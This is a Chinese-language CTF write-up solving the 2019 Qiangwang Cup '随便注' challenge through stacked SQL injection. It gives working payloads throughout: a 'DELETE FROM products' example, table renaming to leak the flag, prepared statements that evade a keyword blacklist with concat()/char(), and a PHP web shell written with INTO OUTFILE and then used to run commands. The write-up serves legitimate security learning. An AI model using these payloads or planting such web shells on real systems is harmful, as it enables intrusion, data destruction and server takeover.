web-[强网杯 2019]随便注

    • 知识点
    • 方法一:重命名+堆叠注入
    • 方法二:预处理语句
    • 方法三:利用命令执行Getflag

知识点

SQL注入-堆叠注入,
sql预处理语句-char()函数绕过黑名单,
巧用contact()函数绕过

堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

方法一:重命名+堆叠注入

打开题目,显示如下界面,观察后猜测是sql注入
web-[强网杯 2019]随便注_第1张图片

**0x01:**判断是否存在注入,注入是字符型还是数字型
输入1’发现不回显
输入1’ #显示正常
应该是存在sql注入了
输入1' or '1'='1,正常回显,应该是字符型
web-[强网杯 2019]随便注_第2张图片

0x02:猜解SQL查询语句中的字段数
输入1’ order by 1 # 成功回显
web-[强网杯 2019]随便注_第3张图片

输入1’ order by 2 # 成功回显
web-[强网杯 2019]随便注_第4张图片输入1’ order by 3 # 回显错误
web-[强网杯 2019]随便注_第5张图片
所以只有两个字段
0x03:显示字段
输入1′ union select 1,2 # 回显一个正则过滤规则

web-[强网杯 2019]随便注_第6张图片
过滤了 select,update,delete,drop,insert,where 和 点

过滤了这么多词,是不是有堆叠注入?尝试堆叠注入
0x04:查询数据库
输入1';show databases;# 成功回显
web-[强网杯 2019]随便注_第7张图片
说明存在堆叠注入
0x05:查询表
输入1';show tables;# 成功回显web-[强网杯 2019]随便注_第8张图片得到两个表words和1919810931114514
0x06:查询表中字段
输入 *1’; show columns from `words`; #
web-[强网杯 2019]随便注_第9张图片

输入1’; show columns from `1919810931114514`;
web-[强网杯 2019]随便注_第10张图片

可以看到1919810931114514中有我们想要的flag字段
现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了
因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
内部查询语句类似 :select id, data from word where id =
他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
payload:
1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

web-[强网杯 2019]随便注_第11张图片
接着输入1’ or ‘1’='1 #,查询就得到flag
web-[强网杯 2019]随便注_第12张图片

方法二:预处理语句

预编译相关语法如下:

set						用于设置变量名和值
prepare					用于预备一个语句,并赋予名称,以后可以引用该语句
execute					执行语句
deallocate prepare		用来释放掉预处理的语句

构造payload

0';set @sql=concat('selec','t * from `1919810931114514`;') ;prepare sqlstate from @sql;execute sqlstate;#

结果为:

strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

构造payload1:

0';Set @sql=concat('sel','ect * from `1919810931114514`;') ;Prepare sqlstatee from @sql;execute sqlstatee ;#

构造payload2:(绕过select)

0';Set @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`;') ;Prepare sqlstatee from @sql;execute sqlstatee ;#

方法三:利用命令执行Getflag

查询了一下用户竟然是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

那么写个执行命令的shell吧(绝对路径猜的,一般是服务器网站根目录/var/www/html)

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.从而绕过关键词.过滤

Mysql into outfile语句,可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件,然后执行这些文件。将会造成严重的后果。
Mysql into outfile 生成PHP文件SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into
outfile ‘/var/www/html/fuck.php’ 最后会在/var/www/html/路径下, 生成fuck.php文件
这里不走寻常路,执行打算利用我们的shell查询flag(账号密码直接读取首页就可以看到)

利用一句话木马执行任意mysql命令(双引号中的内容会被当做shell命令执行然后结果再传回来执行)
uroot:用户名root proot:密码root

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

你可能感兴趣的:(BUUCTF)